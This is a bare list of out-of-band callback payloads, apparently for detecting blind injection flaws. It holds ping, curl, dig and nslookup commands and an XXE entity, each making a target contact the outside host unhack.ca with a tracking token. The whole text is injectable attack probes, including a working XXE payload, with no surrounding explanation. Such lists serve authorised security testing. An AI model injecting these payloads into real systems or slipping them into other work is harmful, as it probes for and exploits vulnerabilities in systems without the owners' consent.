$ ping -c1 -p 00e83b1e92a8e66cc24f8f7bc9459e00 unhack.ca
$ curl http://unhack.ca/p/e83b1e92a8e66cc24f8f7bc9459e
$ dig e83b1e92a8e66cc24f8f7bc9459e @unhack.ca
$ dig e83b1e92a8e66cc24f8f7bc9459e.ns.unhack.ca
C:\> nslookup e83b1e92a8e66cc24f8f7bc9459e unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/e83b1e92a8e66cc24f8f7bc9459e">]> <foo>&xxe;</foo>